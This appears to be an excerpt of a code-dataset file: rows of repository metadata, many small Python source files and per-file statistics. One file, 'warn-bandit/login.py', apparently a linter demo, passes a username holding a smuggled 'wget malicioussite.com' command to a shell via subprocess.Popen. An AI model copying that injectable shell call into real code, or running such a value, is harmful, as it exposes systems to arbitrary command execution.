woctezuma/humble-monthly
655b42a452f4db168d03ebb146196940822687d6
[ "MIT" ]
3
2019-03-11T12:35:53.000Z
2021-09-11T18:14:09.000Z
test_.py
woctezuma/humble-monthly
655b42a452f4db168d03ebb146196940822687d6
[ "MIT" ]
41
2018-06-06T21:11:48.000Z
2022-02-01T19:46:16.000Z
test_.py
woctezuma/humble-monthly
655b42a452f4db168d03ebb146196940822687d6
[ "MIT" ]
null
null
null
import unittest import plot_time_series class TestPlotTimeSeriesMethods(unittest.TestCase): def test_main(self): self.assertTrue(plot_time_series.main()) if __name__ == '__main__': unittest.main()
15.642857
51
0.739726
25
219
5.96
0.6
0.107383
0.187919
0
0
0
0
0
0
0
0
0
0.164384
219
13
52
16.846154
0.814208
0
0
0
0
0
0.03653
0
0
0
0
0
0.142857
1
0.142857
false
0
0.285714
0
0.571429
0
1
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
3
15793b75c2c48e244373dc47a4df0c589f5164fc
97
py
Python
Project.py
54kggo/Python1709
eeda22962f2d56d0694fa931e6341c7304a8f564
[ "Apache-2.0" ]
null
null
null
Project.py
54kggo/Python1709
eeda22962f2d56d0694fa931e6341c7304a8f564
[ "Apache-2.0" ]
null
null
null
Project.py
54kggo/Python1709
eeda22962f2d56d0694fa931e6341c7304a8f564
[ "Apache-2.0" ]
null
null
null
print('准备写一个项目') print('user') print('film') print('ceneama') print('seat') print('ticket')
8.083333
16
0.639175
12
97
5.166667
0.583333
0
0
0
0
0
0
0
0
0
0
0
0.113402
97
12
17
8.083333
0.72093
0
0
0
0
0
0.326531
0
0
0
0
0
0
1
0
true
0
0
0
0
1
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
1
0
3
157f601d7178310b6b2ba3b910645a83646639d3
29
py
Python
python/settings.py
kueddelmaier/latent-linear-adjustment-autoencoders
f180732695a6c2abd8a9ad9d8cfeed2f82f047bb
[ "MIT" ]
3
2020-10-29T19:08:27.000Z
2021-08-14T09:19:48.000Z
python/settings.py
kueddelmaier/latent-linear-adjustment-autoencoders
f180732695a6c2abd8a9ad9d8cfeed2f82f047bb
[ "MIT" ]
6
2020-11-13T19:01:07.000Z
2022-01-04T09:34:05.000Z
python/settings.py
kueddelmaier/latent-linear-adjustment-autoencoders
f180732695a6c2abd8a9ad9d8cfeed2f82f047bb
[ "MIT" ]
1
2021-03-01T15:28:56.000Z
2021-03-01T15:28:56.000Z
DATA_PATH = "" OUT_PATH = ""
9.666667
14
0.586207
4
29
3.75
0.75
0
0
0
0
0
0
0
0
0
0
0
0.206897
29
2
15
14.5
0.652174
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
1583cc058207ccf664e50f968eb0f89c866984d5
262
py
Python
test.py
gaoyunzhi/telegram_news_2_pdf_bot
fc75a50499abd69b561f557e29be0c76ea8cdab2
[ "MIT" ]
10
2020-03-13T11:24:48.000Z
2021-03-23T10:33:46.000Z
test.py
gaoyunzhi/telegram_news_2_pdf_bot
fc75a50499abd69b561f557e29be0c76ea8cdab2
[ "MIT" ]
null
null
null
test.py
gaoyunzhi/telegram_news_2_pdf_bot
fc75a50499abd69b561f557e29be0c76ea8cdab2
[ "MIT" ]
1
2021-02-26T12:13:33.000Z
2021-02-26T12:13:33.000Z
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import news_2_pdf import channel2pdf import os import sys def test(): news_2_pdf.gen(news_source='bbc') # news_2_pdf.gen(news_source='nyt') # channel2pdf.gen('opinion_feed') if __name__ == "__main__": test()
17.466667
36
0.706107
41
262
4.097561
0.609756
0.089286
0.142857
0.130952
0.25
0.25
0
0
0
0
0
0.030702
0.129771
262
15
37
17.466667
0.70614
0.416031
0
0
0
0
0.073333
0
0
0
0
0
0
1
0.125
true
0
0.5
0
0.625
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
3
1585043f54d0a6d51324acb234d7b07e3a3c1690
361
py
Python
tests/functional/conftest.py
mattdricker/via-1
5f4919518337540d183bc079abbd3ea502a0e281
[ "BSD-2-Clause" ]
113
2015-02-13T23:22:29.000Z
2021-09-09T19:42:10.000Z
tests/functional/conftest.py
mattdricker/via-1
5f4919518337540d183bc079abbd3ea502a0e281
[ "BSD-2-Clause" ]
265
2015-02-05T15:32:47.000Z
2022-03-31T17:05:43.000Z
tests/functional/conftest.py
mattdricker/via-1
5f4919518337540d183bc079abbd3ea502a0e281
[ "BSD-2-Clause" ]
70
2015-04-17T23:52:08.000Z
2022-03-14T16:50:31.000Z
import httpretty import pytest import webtest from via.app import create_app @pytest.fixture def test_app(pyramid_settings): return webtest.TestApp(create_app(None, **pyramid_settings)) @pytest.fixture def checkmate_pass(pyramid_settings): httpretty.register_uri( httpretty.GET, "http://localhost:90...
20.055556
77
0.756233
47
361
5.638298
0.617021
0.169811
0.120755
0
0
0
0
0
0
0
0
0.022508
0.138504
361
17
78
21.235294
0.829582
0
0
0.166667
0
0
0.085873
0
0
0
0
0
0
1
0.166667
false
0.083333
0.333333
0.083333
0.583333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
1
0
1
0
0
3
159dffb37d5a99048bc263e566efbf6594b0187c
260
py
Python
Desafio64.py
WestenPy/Curso_em_video
9f6a9775d27e1b86d54b381aba5da69b2ae21b27
[ "MIT" ]
null
null
null
Desafio64.py
WestenPy/Curso_em_video
9f6a9775d27e1b86d54b381aba5da69b2ae21b27
[ "MIT" ]
null
null
null
Desafio64.py
WestenPy/Curso_em_video
9f6a9775d27e1b86d54b381aba5da69b2ae21b27
[ "MIT" ]
null
null
null
#Crie um programa que leia vários números inteiros pelo #teclado. O programa só vai parar quando o usuário digitar o valor #999, que é a condição de parada. No final, mostre quantos números #foram digitados e qual foi a soma entre eles(desconsiderando o flag)
52
69
0.792308
45
260
4.577778
0.844444
0
0
0
0
0
0
0
0
0
0
0.013889
0.169231
260
4
70
65
0.939815
0.969231
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
3
15a6aa9f5dfe710d2f203cf27244e0cc4403323b
6,954
py
Python
src/zope/formlib/tests/test_registrations.py
zopefoundation/zope.formlib
af2d587a6eb24e59e95a8b1feb7aafc5d3b87ba4
[ "ZPL-2.1" ]
4
2018-05-09T04:16:25.000Z
2021-03-05T17:27:21.000Z
src/zope/formlib/tests/test_registrations.py
zopefoundation/zope.formlib
af2d587a6eb24e59e95a8b1feb7aafc5d3b87ba4
[ "ZPL-2.1" ]
25
2016-03-24T15:23:08.000Z
2021-03-05T16:53:53.000Z
src/zope/formlib/tests/test_registrations.py
zopefoundation/zope.formlib
af2d587a6eb24e59e95a8b1feb7aafc5d3b87ba4
[ "ZPL-2.1" ]
5
2015-02-11T13:32:06.000Z
2018-05-09T04:16:26.000Z
############################################################################## # # Copyright (c) 2004 Zope Foundation and Contributors. # All Rights Reserved. # # This software is subject to the provisions of the Zope Public License, # Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution. # THIS SOF...
30.5
78
0.637331
591
6,954
7.48731
0.302876
0.099435
0.12339
0.15661
0.381243
0.381243
0.364746
0.19887
0.19887
0.147345
0
0.001114
0.225338
6,954
227
79
30.634361
0.820308
0.753092
0
0.125
0
0
0.024164
0.024164
0
0
0
0
0
1
0.0625
false
0.125
0.34375
0.03125
0.59375
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
1
0
1
0
0
3
15af6a01c672c57ffcd892bc88af2ee03fd38758
7,863
py
Python
cv_acp.py
SamrahSyed/Visionet_ML_Project_Web_App
a792dcbabf2e112836d87698bc423531c6c18e77
[ "MIT" ]
null
null
null
cv_acp.py
SamrahSyed/Visionet_ML_Project_Web_App
a792dcbabf2e112836d87698bc423531c6c18e77
[ "MIT" ]
null
null
null
cv_acp.py
SamrahSyed/Visionet_ML_Project_Web_App
a792dcbabf2e112836d87698bc423531c6c18e77
[ "MIT" ]
null
null
null
import pip pip.main(["install","matplotlib"]) import matplotlib.pyplot as plt import numpy as np import mxnet as mx from mxnet import gluon, nd, image from mxnet.gluon.data.vision import transforms from gluoncv.data.transforms import video from gluoncv import utils from gluoncv.model_zoo import get_model from gluoncv.u...
35.418919
146
0.584764
1,052
7,863
4.245247
0.165399
0.021496
0.064487
0.051052
0.74429
0.742723
0.720779
0.695477
0.688536
0.633901
0
0.050666
0.226885
7,863
221
147
35.579186
0.683994
0.293908
0
0.560606
0
0.015152
0.079356
0.024319
0
0
0
0
0
1
0.030303
false
0
0.121212
0
0.181818
0.060606
0
0
0
null
0
0
0
0
1
1
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
15ba45d52214889199be57cdbc923c75ed86dc01
156
py
Python
Dicas-Para-Usar/Estruturas-Condicionais.py
LuanPetruitis/minis_programas_python
5fbc4c3fbe832303511e612f320d31e2b91f1ef0
[ "MIT" ]
1
2020-04-09T14:41:48.000Z
2020-04-09T14:41:48.000Z
Dicas-Para-Usar/Estruturas-Condicionais.py
LuanPetruitis/minis_programas_python
5fbc4c3fbe832303511e612f320d31e2b91f1ef0
[ "MIT" ]
1
2020-04-10T20:39:24.000Z
2020-04-12T13:43:51.000Z
Dicas-Para-Usar/Estruturas-Condicionais.py
LuanPetruitis/minis_programas_python
5fbc4c3fbe832303511e612f320d31e2b91f1ef0
[ "MIT" ]
1
2020-04-13T03:21:09.000Z
2020-04-13T03:21:09.000Z
n = int(input('Digite um número: ')) if n < 1: print('IIIIII é bem pequeno') elif n < 7: print('ÉEEE bais ou benos') else: print('Que grandão')
19.5
36
0.602564
26
156
3.615385
0.846154
0
0
0
0
0
0
0
0
0
0
0.016807
0.237179
156
7
37
22.285714
0.773109
0
0
0
0
0
0.429487
0
0
0
0
0
0
1
0
false
0
0
0
0
0.428571
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
3
15bb2d7944ffd2260beb43d5ef0e0d40d7434d18
549
py
Python
Mundo 1_Fundamentos/Desafio_33.py
VictorOliveira02/Desafios-Python3-Curso-em-Video
53ee8bd814b816f3a21936677ef3f155b582843f
[ "MIT" ]
null
null
null
Mundo 1_Fundamentos/Desafio_33.py
VictorOliveira02/Desafios-Python3-Curso-em-Video
53ee8bd814b816f3a21936677ef3f155b582843f
[ "MIT" ]
null
null
null
Mundo 1_Fundamentos/Desafio_33.py
VictorOliveira02/Desafios-Python3-Curso-em-Video
53ee8bd814b816f3a21936677ef3f155b582843f
[ "MIT" ]
null
null
null
n1 = float(input('Digite um número: ')) n2 = float(input('Digite um número: ')) n3 = float(input('Digite um número: ')) if n1 > n2 and n1 > n3: print(f'O MAIOR valor digitado foi {n1}.') if n1 < n2 and n1 < n3: print(f'O MENOR valor digitado foi {n1}.') if n2 > n1 and n2 > n3: print(f'O MAIOR valor digita...
28.894737
46
0.612022
102
549
3.294118
0.176471
0.107143
0.125
0.107143
0.970238
0.732143
0.732143
0.607143
0.357143
0
0
0.078571
0.234973
549
18
47
30.5
0.721429
0
0
0
0
0
0.448087
0
0
0
0
0
0
1
0
false
0
0
0
0
0.4
0
0
0
null
0
0
0
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
15bcaf3b13a2e6003dc34ad2e724b9bdcad5e9d2
403
py
Python
resotocore/core/db/templatedb.py
MrMarvin/cloudkeeper
cdca21c1a3b945da6e53a5dbb37a437e1d46f557
[ "Apache-2.0" ]
316
2021-07-08T12:54:19.000Z
2022-01-12T18:50:17.000Z
resotocore/core/db/templatedb.py
MrMarvin/cloudkeeper
cdca21c1a3b945da6e53a5dbb37a437e1d46f557
[ "Apache-2.0" ]
80
2021-07-30T23:55:50.000Z
2022-01-12T15:39:31.000Z
resotocore/core/db/templatedb.py
MrMarvin/cloudkeeper
cdca21c1a3b945da6e53a5dbb37a437e1d46f557
[ "Apache-2.0" ]
14
2021-08-23T08:29:29.000Z
2022-01-08T04:42:28.000Z
from core.db.async_arangodb import AsyncArangoDB from core.db.entitydb import EntityDb, EventEntityDb, ArangoEntityDb from core.query.model import Template TemplateEntityDb = EntityDb[Template] EventTemplateEntityDb = EventEntityDb[Template] def template_entity_db(db: AsyncArangoDB, collection: str) -> ArangoEntityD...
36.636364
87
0.82134
46
403
7.130435
0.5
0.073171
0.060976
0
0
0
0
0
0
0
0
0
0.101737
403
10
88
40.3
0.906077
0
0
0
0
0
0
0
0
0
0
0
0
1
0.142857
false
0
0.428571
0.142857
0.714286
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
1
1
0
0
3
ec7b9b23ad10e69ccc5f2866e3e9fc078391cce4
170
py
Python
real_estate_agency/accounts/urls.py
Dybov/real_estate_agency
a4392b18c5169ff89c3c7b63afe017f6ede0b431
[ "MIT" ]
1
2017-09-24T18:53:59.000Z
2017-09-24T18:53:59.000Z
real_estate_agency/accounts/urls.py
Dybov/real_estate_agency
a4392b18c5169ff89c3c7b63afe017f6ede0b431
[ "MIT" ]
null
null
null
real_estate_agency/accounts/urls.py
Dybov/real_estate_agency
a4392b18c5169ff89c3c7b63afe017f6ede0b431
[ "MIT" ]
null
null
null
# from django.conf.urls import url # from . import views urlpatterns = [ # url(r'^change-profile/$', # views.change_own_profile, name='change-profile'), ]
17
59
0.647059
21
170
5.142857
0.619048
0.240741
0
0
0
0
0
0
0
0
0
0
0.2
170
9
60
18.888889
0.794118
0.776471
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
ecb11d19de0dde3445d857714432fc807dccbf82
451
py
Python
tiers/tests/factories.py
appsembler/django-tiers
7c59be2a31a767e1917bc4296c1c986427e35b8a
[ "MIT" ]
2
2017-04-10T19:50:35.000Z
2021-08-13T09:00:07.000Z
tiers/tests/factories.py
appsembler/django-tiers
7c59be2a31a767e1917bc4296c1c986427e35b8a
[ "MIT" ]
28
2017-03-07T19:47:15.000Z
2022-03-30T13:12:26.000Z
tiers/tests/factories.py
appsembler/django-tiers
7c59be2a31a767e1917bc4296c1c986427e35b8a
[ "MIT" ]
null
null
null
import factory from factory.django import DjangoModelFactory from tiers.models import Tier from fake_organizations.models import Organization class OrganizationFactory(DjangoModelFactory): class Meta(object): model = Organization name = factory.Sequence('organization name {}'.format) class TierFac...
22.55
58
0.767184
44
451
7.840909
0.477273
0.069565
0.156522
0.191304
0.22029
0
0
0
0
0
0
0
0.166297
451
19
59
23.736842
0.917553
0
0
0.166667
0
0
0.044346
0
0
0
0
0
0
1
0
false
0
0.333333
0
0.833333
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
3
ecccdcec625c67a9911b2a206ee7b38b12d4f691
5,592
py
Python
python/tako/core/repr_str.py
orangeturtle739/tako
d14fb9827f8a09c0847989b64a4d60914d10db40
[ "Apache-2.0" ]
null
null
null
python/tako/core/repr_str.py
orangeturtle739/tako
d14fb9827f8a09c0847989b64a4d60914d10db40
[ "Apache-2.0" ]
null
null
null
python/tako/core/repr_str.py
orangeturtle739/tako
d14fb9827f8a09c0847989b64a4d60914d10db40
[ "Apache-2.0" ]
null
null
null
# Copyright 2020 Jacob Glueck # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, ...
45.463415
111
0.689914
816
5,592
4.66299
0.314951
0.029435
0.020237
0.015769
0.087254
0
0
0
0
0
0
0.002023
0.204399
5,592
122
112
45.836066
0.853225
0.288984
0
0.037037
0
0.055556
0.229125
0.218437
0
0
0
0
0
1
0.277778
false
0
0.092593
0.148148
0.648148
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
3
ecd1b6134e64074d251b57f07a4c73bee10501b7
248
py
Python
sciris/sc_version.py
sciris/sciris
a52a7a0d4bf2c3de7dde1dbca07c40341f9a18b0
[ "MIT" ]
5
2018-10-01T09:36:31.000Z
2021-08-03T14:34:48.000Z
sciris/sc_version.py
sciris/sciris
a52a7a0d4bf2c3de7dde1dbca07c40341f9a18b0
[ "MIT" ]
194
2018-09-21T06:21:07.000Z
2022-03-26T11:22:24.000Z
sciris/sc_version.py
sciris/sciris
a52a7a0d4bf2c3de7dde1dbca07c40341f9a18b0
[ "MIT" ]
5
2020-03-12T23:06:39.000Z
2020-09-30T10:38:17.000Z
''' Version and license information. ''' __all__ = ['__version__', '__versiondate__', '__license__'] __version__ = '1.2.3' __versiondate__ = '2021-08-27' __license__ = f'Sciris {__version__} ({__versiondate__}) – © 2021 by Sciris.org'
24.8
85
0.677419
27
248
4.962963
0.666667
0.268657
0
0
0
0
0
0
0
0
0
0.072115
0.16129
248
9
86
27.555556
0.5625
0.129032
0
0
0
0
0.552885
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
ecd1bb3153e99a62fddf088c880f3c5d634cd47f
207
py
Python
dockerfiles/spark-base/require/library/cic_feature/CICFeature.py
fajarryuk4/bigdata-framework-docker
d583fae3f5a7b5c4b3938abac311eda462e05e2d
[ "MIT" ]
3
2021-01-27T06:22:00.000Z
2022-01-04T12:02:32.000Z
dockerfiles/spark-base/require/library/cic_feature/CICFeature.py
fajarryuk4/bigdata-framework-docker
d583fae3f5a7b5c4b3938abac311eda462e05e2d
[ "MIT" ]
null
null
null
dockerfiles/spark-base/require/library/cic_feature/CICFeature.py
fajarryuk4/bigdata-framework-docker
d583fae3f5a7b5c4b3938abac311eda462e05e2d
[ "MIT" ]
1
2021-04-06T11:57:53.000Z
2021-04-06T11:57:53.000Z
# class cicfeature: # def __init__( # self, # ip_src, # ip_dst # src_port # dst_port # protocol # timestamp # payloadBytes): # self
18.818182
24
0.439614
17
207
4.882353
0.705882
0
0
0
0
0
0
0
0
0
0
0
0.478261
207
11
25
18.818182
0.768519
0.89372
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
3
ecd683c15651e3cb008ab3492494c41e57aaa6a8
101
py
Python
music_assistant/providers/squeezebox/constants.py
oischinger/server
290a275851c55a2f07fa6d357296b18c769e88a1
[ "Apache-2.0" ]
10
2020-09-18T12:32:14.000Z
2022-01-17T11:17:42.000Z
music_assistant/providers/squeezebox/constants.py
oischinger/server
290a275851c55a2f07fa6d357296b18c769e88a1
[ "Apache-2.0" ]
61
2020-09-28T06:53:31.000Z
2022-03-21T17:02:52.000Z
music_assistant/providers/squeezebox/constants.py
oischinger/server
290a275851c55a2f07fa6d357296b18c769e88a1
[ "Apache-2.0" ]
1
2021-08-24T06:05:46.000Z
2021-08-24T06:05:46.000Z
"""Constants for Squeezebox emulation.""" PROV_ID = "squeezebox" PROV_NAME = "Squeezebox emulation"
20.2
41
0.752475
11
101
6.727273
0.636364
0.513514
0
0
0
0
0
0
0
0
0
0
0.118812
101
4
42
25.25
0.831461
0.346535
0
0
0
0
0.5
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
01ac2ffc54f4dfa4abef0f4c676ba280d5a689d7
2,515
py
Python
day_02/p2.py
jackdied/AoC2017
fb08a53289f81d672ab9ff5e7c2262ce0da5b362
[ "Apache-2.0" ]
2
2020-03-13T07:25:33.000Z
2020-04-19T06:51:52.000Z
day_02/p2.py
jackdied/AoC2017
fb08a53289f81d672ab9ff5e7c2262ce0da5b362
[ "Apache-2.0" ]
1
2017-12-03T23:23:05.000Z
2017-12-04T03:55:41.000Z
day_02/p2.py
jackdied/AoC2017
fb08a53289f81d672ab9ff5e7c2262ce0da5b362
[ "Apache-2.0" ]
2
2017-12-05T00:35:01.000Z
2020-03-13T07:26:07.000Z
import itertools as it def row_value(txt): vals = list(map(int, txt.split(' '))) low = min(vals) high = max(vals) return high - low assert row_value('5 1 9 5') == 8 assert row_value('7 5 3') == 4 assert row_value('2 4 6 8') == 6 input = '''1236 741 557 1029 144 101 1968 2159 1...
55.888889
125
0.494632
361
2,515
3.423823
0.778393
0.032362
0.033981
0
0
0
0
0
0
0
0
0.644167
0.458052
2,515
44
126
57.159091
0.262656
0
0
0
0
0
0.744732
0
0
0
0
0
0.081081
1
0.054054
false
0
0.027027
0
0.135135
0.054054
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
01bede7ebc086f40d1e0409bfb535a554f394bcb
211
py
Python
warn-bandit/login.py
feramhq/demo
3a1f87dda0fdef4c560278e0c1b03258d4e637c1
[ "0BSD" ]
1
2018-03-22T20:52:31.000Z
2018-03-22T20:52:31.000Z
warn-bandit/login.py
feramhq/demo
3a1f87dda0fdef4c560278e0c1b03258d4e637c1
[ "0BSD" ]
null
null
null
warn-bandit/login.py
feramhq/demo
3a1f87dda0fdef4c560278e0c1b03258d4e637c1
[ "0BSD" ]
5
2017-12-13T16:19:37.000Z
2018-01-22T11:52:11.000Z
import os import subprocess username = 'testUser || wget malicioussite.com' def execute(arg): return subprocess.Popen(arg, shell=True) result = str(execute('ls -lsa ' + username)) assert(len(result))
14.066667
47
0.7109
27
211
5.555556
0.777778
0
0
0
0
0
0
0
0
0
0
0
0.161137
211
14
48
15.071429
0.847458
0
0
0
0
0
0.199052
0
0
0
0
0
0.142857
1
0.142857
false
0
0.285714
0.142857
0.571429
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
1
1
0
0
3
01c34d71fcba91f5a48d2c6120ff16855ef804d5
1,930
py
Python
Python/SATSudoku/Clause.py
IdkwhatImD0ing/AlgorithmPractice
2d8d68a6d0168e873d61d1e3873e882bcdaf003f
[ "MIT" ]
null
null
null
Python/SATSudoku/Clause.py
IdkwhatImD0ing/AlgorithmPractice
2d8d68a6d0168e873d61d1e3873e882bcdaf003f
[ "MIT" ]
null
null
null
Python/SATSudoku/Clause.py
IdkwhatImD0ing/AlgorithmPractice
2d8d68a6d0168e873d61d1e3873e882bcdaf003f
[ "MIT" ]
null
null
null
class Clause(object): def __init__(self, clause): """Initializes a clause. Here, the input clause is either a list or set of integers, or is an instance of Clause; in the latter case, a shallow copy is made, so that one can modify this clause without modifying the original clause. ...
35.740741
82
0.61399
265
1,930
4.358491
0.422642
0.114286
0.036364
0.046753
0.039827
0.039827
0
0
0
0
0
0.000746
0.305699
1,930
54
83
35.740741
0.861194
0.401036
0
0.066667
0
0
0.016667
0
0
0
0
0
0.033333
1
0.3
false
0
0
0.133333
0.666667
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
3
01e63f40d10b14a73e09272bf71a16a24d1986d3
404
py
Python
utils/list_empty_directories.py
polmic/kiwi-node
3dd015dba87dea962c90186af464e2ef5118a274
[ "MIT" ]
null
null
null
utils/list_empty_directories.py
polmic/kiwi-node
3dd015dba87dea962c90186af464e2ef5118a274
[ "MIT" ]
6
2020-08-08T15:58:18.000Z
2022-01-14T18:29:05.000Z
utils/list_empty_directories.py
polmic/kiwi-node
3dd015dba87dea962c90186af464e2ef5118a274
[ "MIT" ]
null
null
null
import os plant_directories_path = 'D:/documents/downloaded_plant_images' empty_directories_count = 0 plant_directories = os.listdir(plant_directories_path) for directory in plant_directories: if not os.listdir(plant_directories_path + "/" + directory): empty_directories_count += 1 print(str(direc...
31.076923
64
0.752475
49
404
5.877551
0.428571
0.277778
0.208333
0.173611
0.201389
0
0
0
0
0
0
0.005814
0.148515
404
13
65
31.076923
0.831395
0
0
0
0
0
0.165432
0.088889
0
0
0
0
0
1
0
false
0
0.111111
0
0.111111
0.222222
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
01ec074089ce32f4f5530ec37e89b74ac922114e
701
py
Python
dialog_bot_sdk/entities/media/FileLocation.py
dialogs/python-bot-sdk
737152e5ef8406af0b22600ef7cefa78da9035e8
[ "Apache-2.0" ]
9
2019-01-22T09:59:12.000Z
2021-05-08T10:59:00.000Z
dialog_bot_sdk/entities/media/FileLocation.py
dialogs/python-bot-sdk
737152e5ef8406af0b22600ef7cefa78da9035e8
[ "Apache-2.0" ]
29
2018-10-08T17:10:49.000Z
2021-04-28T18:46:30.000Z
dialog_bot_sdk/entities/media/FileLocation.py
dialogs/python-bot-sdk
737152e5ef8406af0b22600ef7cefa78da9035e8
[ "Apache-2.0" ]
8
2019-01-22T09:49:32.000Z
2022-01-26T18:55:52.000Z
from dialog_api import media_and_files_pb2 class FileLocation: def __init__(self, file_id: int, access_hash: int) -> None: self.file_id = file_id self.access_hash = access_hash def to_api(self) -> media_and_files_pb2.FileLocation: return media_and_files_pb2.FileLocation(file_id=self.f...
33.380952
99
0.71612
97
701
4.690722
0.278351
0.105495
0.114286
0.140659
0.36044
0.175824
0.175824
0.175824
0.175824
0.175824
0
0.006957
0.179743
701
20
100
35.05
0.784348
0
0
0
0
0
0.065621
0
0
0
0
0
0
1
0.357143
false
0
0.071429
0.285714
0.785714
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
3
bf108e830457b26fcede0b2c94a5663fae19a6a0
709
py
Python
Competitive_Coding/Maximum_Subarray_Multiply - Modified Kadane's Algorithm.py
Arko98/Alogirthms
ce56faaaf847dbf077de935a98814c37275f8a5f
[ "MIT" ]
5
2020-08-02T16:31:09.000Z
2022-02-21T22:58:59.000Z
Competitive_Coding/Maximum_Subarray_Multiply - Modified Kadane's Algorithm.py
Arko98/Alogirthms
ce56faaaf847dbf077de935a98814c37275f8a5f
[ "MIT" ]
null
null
null
Competitive_Coding/Maximum_Subarray_Multiply - Modified Kadane's Algorithm.py
Arko98/Alogirthms
ce56faaaf847dbf077de935a98814c37275f8a5f
[ "MIT" ]
3
2020-09-27T11:23:58.000Z
2020-10-01T05:47:39.000Z
def maxProduct(arr, n): if len(arr) == 1: return (arr[0]) flag = 0 max_so_far = 0 max_ending_here = 1 min_ending_here = 1 for i in range(n): if arr[i] > 0: max_ending_here *= arr[i] min_ending_here = min(min_ending_here * arr[i],1) flag = 1 e...
29.541667
60
0.544429
111
709
3.153153
0.216216
0.371429
0.26
0.12
0.451429
0.451429
0.165714
0.165714
0.165714
0
0
0.035556
0.365303
709
24
61
29.541667
0.742222
0
0
0.166667
0
0
0
0
0
0
0
0
0
0
null
null
0
0
null
null
0
0
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
3
bf1fbfd207a6220089b3a4656710f9d545ebcbfb
24
py
Python
frontend/__init__.py
xmly/anblog
1a1458d6fcac5870d7264659de4828d829cd2332
[ "MIT" ]
null
null
null
frontend/__init__.py
xmly/anblog
1a1458d6fcac5870d7264659de4828d829cd2332
[ "MIT" ]
null
null
null
frontend/__init__.py
xmly/anblog
1a1458d6fcac5870d7264659de4828d829cd2332
[ "MIT" ]
null
null
null
__author__ = 'gavinyue'
12
23
0.75
2
24
7
1
0
0
0
0
0
0
0
0
0
0
0
0.125
24
1
24
24
0.666667
0
0
0
0
0
0.333333
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
bf25dcbad68352d597f868f162f3ebe9c8e33441
923
py
Python
tests/cluster/test_cluster_index.py
remram44/openclean-core
8c09c8302cadbb3bb02c959907f91a3ae343f939
[ "BSD-3-Clause" ]
4
2021-04-20T09:06:26.000Z
2021-11-20T20:31:28.000Z
tests/cluster/test_cluster_index.py
remram44/openclean-core
